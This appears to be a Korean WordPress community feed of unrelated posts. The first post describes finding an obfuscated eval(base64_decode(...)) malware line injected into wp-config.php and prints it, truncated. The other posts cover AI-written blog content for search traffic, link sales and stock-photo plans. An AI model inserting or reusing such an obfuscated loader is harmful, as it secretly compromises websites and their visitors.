얼마전에 ads.txt에 해당스크립트가 우선 나와서 수집이 안되는 오류를 발견하고, 문제를 찾다가. robots.txt를 확인하고 삭제해서 문제가 해결되었는데요. 문제가 해결된게 아니었습니다.
사이트맵을 우연히 들어가봤는데 동일한 코드가 가장 최상단에 들어가있어서 아래처럼 에러가 나고 있더라고요.
그리고 다시 robots.txt를 들어가봤는데 거기에도 해당 코드가 삽입되어 있었습니다.


도대체 어디에 이게 박혀있길래 자꾸 뜨는걸까요
범인은 wp-config.php 가장 윗줄에 아래 코드가 삽입되어 있었습니다.
eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBz>
현재 미국 현지 계시는 분들을 위주로, 실제 본인이 쓰고 있는 제품이나, 맛집 글을 제공 받아 발행하는 작업을 하고 있습니다. 또한 게시판을 통해서 글쓰기 공모전을 열 생각입니다.
단시간에 빠르게 글을 쓰게 만들고, 그것을 바탕으로 여러 검색 트래픽을 늘리는 전략입니다. 현재 예산은 100만원을 잡고 있고, 5월 한달 동안 좋아요 시스템을 이용한 미국 생활 각종 꿀팁을 모을 예정입니다.
미생공이 어디까지 할 수 있을지 흥미 진진하네요! :)
아래 글은 사진과 후기를 제공받아 AI로 뽑은 글입니다. 아무리 AI 티가 나도 사진 자체가 너무 내돈내산이라 노출은 걱정 없이 될 것이라 생각합니다!
제가 계속 운영중인 미국생활공략집 블로그에 게시판 기능을 만들었습니다. 바이브 코딩을 사용해서 만들었으니, 무료입니다만.
사용된 AI 시간을 생각해보면 플러그인 사는거나 만드는 거나 거의 또이또이 수준이네요. 그러나 내가 원하는대로 커스텀 가능하다는 점에서는 바이브 블로깅의 승!
앞으로도 계속 커스터마이징 해갈 예정입니다!

게시물은 10개정도 올렸고, 1일 1포스팅 되도록 예약 걸어두고 있습니다.
얼른 좋은 결과 받아서 공유하고싶네요!!
이미 승인 받으신 워플러 분들 계시다면 한번 둘러보시고 보완하면 좋을 것들 의견 주시면 감사하겠습니다.
오늘, 제가 운영하는 개인 블로그에 이메일 한 통이 도착했습니다. 발신자는 워드프레스 호스팅 분야의 글로벌 대기업 이었습니다. 자신들이 직접 기획하고 작성한 고품질의 콘텐츠를 제 블로그의 가이드라인에 맞춰 제공하고 싶다는 내용의 파트너십 제안이었습니다.
처음에는 그저 거대한 기업이 보내는 흔한 마케팅 제안 중 하나라고 여겼습니다. 하지만 메일에 답장을 보내고 가만히 앉아 생각해보니, 제 머릿속을 강렬하게 스치는 하나의 본질적인 질문이 있었습니다.
'전 세계의 수많은 웹사이트 중, 저 거대한 기업은 왜 하필 일개 개인인 나의 공간에 먼저 연락을 취했을까?'
거대 자본을 움직인 것은 결국 '브랜드'였다
답은 단 하나, 제가 구축해 온 브랜드에 있었습니다.
글로벌 대기업은 아무 곳에나 자신들의 이름과 리소스를 투자하지 않습니다. 그들은 제 블로그가 가진 고유한 관점, 독자와 쌓아온 신뢰, 그리고 그 공간만이 가진 고유한 결을 알아본 것입니다.
제가 홀로 모니터 앞에서 묵묵히 써 내려간 글과 고민의 흔적들이 모여 하나의 단단한 브랜드가 되었고, 결국 그 브랜드의 힘이 자본과 규모를 가진 대기업을 먼저 움직이게 만든 것입니다.
규모의 차이를 초월하는 개인의 유일한 무기
우리는 종종 개인이라는 이유로 스스로의 영향력을 과소평가합니다. 거대한 조직과 자본 앞에서는 작고 미약한 존재라고 스스로 한계를 긋기도 합니다. 하지만 오늘 저는 비즈니스와 인생을 관통하는 아주 중요한 사실 하나를 깨달았습니다.
확고한 색깔과 진정성을 가진 브랜드는 규모의 차이를 초월한다는 것입니다.
자본이나 조직력이 없는 개인이 대기업과 대등한 파트너로서 협상 테이블에 앉을 수 있는 유일하고도 가장 강력한 무기는 바로 나만의 브랜드입니다. 규모가 작더라도 나만의 명확한 기준을 세우고, 타협하지 않는 퀄리티를 유지하며, 나만의 목소리를 내는 것. 그것이 결국 외부의 거대한 기회를 나에게로 끌어당기는 가장 확실한 중력으로 작용합니다.
흔들리지 않는 본질적 생존 방식
오늘 내가 발행하는 글 한 편, 내가 정립하는 철학 하나가 훗날 어떤 거대한 기회와 연결될지 모릅니다.
눈앞의 작은 트래픽이나 당장의 수익에 연연하기보다, 길게 보고 대체 불가능한 나만의 브랜드를 묵묵히 구축해 나가는 것. 그것이 끊임없이 변하는 세상 속에서도 결코 흔들리지 않는, 가장 단단하고 본질적인 생존 방식임을 다시금 가슴에 새겨봅니다.
안녕하세요.
유튜브보고 1부터 차근차근 따라하고 있는데요.
테마가 적용이 안되는거 맞죠? 하나하나 따라한다고 한 것 같은데...
중간에 뭘 잘 못했는지 모르겠어요. php는 8.3으로 수정해 봤는데도 안되더라구요.
하나씩 따라할때 스타터 템플릿이 있었고 그대로 진행했었는데요.
거기서 설정할 때 뭐가 안됐던거 같은데 그 뒤로 스타터 템플릿이 안보이네요.
여기서부터 막혀서 진행이 안되고 있어요.
아시는 분 도움 부탁드려요. 감사합니다!


예전에 제가 여러분에게 공유드렸던 링크 판매 기억하시나요? (모르시는 분들은 아래 피드 참고)
또, 구매 제안이 왔습니다. 역시 워플 사이트이고, 예전에 영어로 그냥 번역만 해놨던 것이 어딘가엔 노출이 되는 것 같습니다.
참 신기한 세상입니다.

이삭님 이미지 크기가 커서 업로드가 안되는데 설정은 어디서 할수 있나요?
저는 현재 제미나이 울트라 + 챗GPT Plus 구독 중인데요. 그말인 즉슨, 저는 이미지 생성이 무제한인 플랜을 사용중이죠.
그럼에도 불구하고, 오늘 어도비스톡 월 20만원 정액권 구매했습니다.

나는 왜 이미지 유료 플랜을 구매했나
이유는 다음과 같습니다.
저는 지금 하루에 20개 정도 되는 기사를 작성하려고 하고 있습니다. 여기엔 사진이 보통 3개정도 들어가므로, 하루 60장의 사진이 필요합니다.
여러분이 60개의 사진을 제미나이로 만들려고 해보세요. 맘에 안드는 사진들, 상표가 들어가서 저작권 걱정이 되는 사진들이라 프롬프트를 작성하며 시간을 보내겠죠?
그렇게 이미지 "만드는" 행위로 시간을 낭비할 바에 남이 직접 찍어놓은 이미지, AI로 어떻게든 다운받아주세요 하면서(수익창출) 짱구 굴려가며 올린 저작권 걱정없는 이미지들 중에서 "찾아서" 올리는게 저에겐 시간상 훨씬 빠르다고 판단했습니다.
연간 구독은 필수입니다. 유료사진의 경우 1장당 다운로드가 2만원이라, 그냥 무제한 다운이 맘편합니다.
살다보니 시간이 제일 아까워요. 오히려 제미나이 울트라를 프로로 바꿀 의향이 생겼습니다.
오늘 블로그를 언론사 처럼 운영해보는것은 어떨까 하는 마음에 사진 사용료를 알아봤는데, 가격이 후덜덜하네요ㅎㅎ 뉴스기사용 사진 1년 구독료 6백만원~~~~뿌뿌뿌뿌!ㅋㅋㅋ
그만한 가치가 있는지 고민 중에 있습니다...ㄷㄷㄷ
다들 어떻게 생각하시나요? :)
